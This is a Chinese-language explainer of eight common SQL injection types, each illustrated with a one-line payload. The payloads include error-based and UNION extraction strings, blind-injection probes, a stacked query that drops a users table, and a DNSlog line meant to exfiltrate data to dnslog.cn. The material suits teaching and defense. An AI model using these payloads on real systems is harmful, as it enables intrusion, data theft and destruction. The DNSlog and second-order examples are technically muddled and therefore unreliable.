常见的 SQL 注入漏洞有哪些?
列举了八种常见的 SQL 注入漏洞类型,并详细解释了每种类型的攻击方法和示例。
常见的 SQL 注入漏洞是指攻击者通过恶意 SQL 代码嵌入用户输入字段中,滥用数据库操作逻辑的多种方式。基于注入原理、数据利用和页面响应的分类,主要类型包括以下几种:
1. 报错注入 (Error-Based Injection)
攻击者触发数据库错误,使内部信息泄露到页面。常用于有错误回显的场景,如使用 extractvalue()
或 updatexml()
函数通过错误消息暴露数据库表数据:
' and extractvalue(1, concat(0x5c, (select user()))) --
2. 联合查询注入 (UNION-Based Injection)
通过插入 UNION SELECT
附加恶意查询,返回数据库完整信息集。需字段数目匹配和回显支持:
id=1' union select database(),user(),version() from information_schema.tables--
3. 布尔盲注 (Boolean-Based Blind Injection)
注入真假逻辑条件,观察页面行为差异(如内容显示或错误)来判断数据库信息,无直接数据反馈:
id=2 and substring((select database()),1,1)='D' --
4. 时间盲注 (Time-Based Blind Injection)
通过执行延迟操作(如 SLEEP
或 BENCHMARK
函数)探测是否注入成功:
id=2 and if(ascii(substring(database(),1,1))>90,sleep(5),0)--
5. 堆叠查询注入 (Stacked Queries Injection)
在单一请求中执行多个独立 SQL 语句,需目标支持多语句(如 SQL Server):
' ;drop table users;--
6. 宽字节注入 (Wide-Character Injection)
利用字符集处理(如 GBK)导致过滤转义失效,从而绕过查询:
id=2 %df' union select 1,2--
7. 二次注入 (Second-Order Injection)
恶意数据先存入数据库,后在后续代码中作为参数提取而触发注入:
初次输入 user: 'admin'-- ; 次次查询时执行 SELECT * FROM users WHERE id='admin'-- --
8. DNSlog 外带数据注入 (DNSlog Injection)
通过构造域名记录外带数据,适用于数据库支持文件和 DNS 的场景:
concat(user(),'.a.dnslog.cn') INTO OUTFILE '/file'
这些漏洞常见源于应用程序未过滤用户输入或使用字符串拼接 SQL,分类可基于类型、回显或请求方式深化,但上述代表现实中的高风险利用。防范建议包括实施参数化查询和输入验证等安全实践。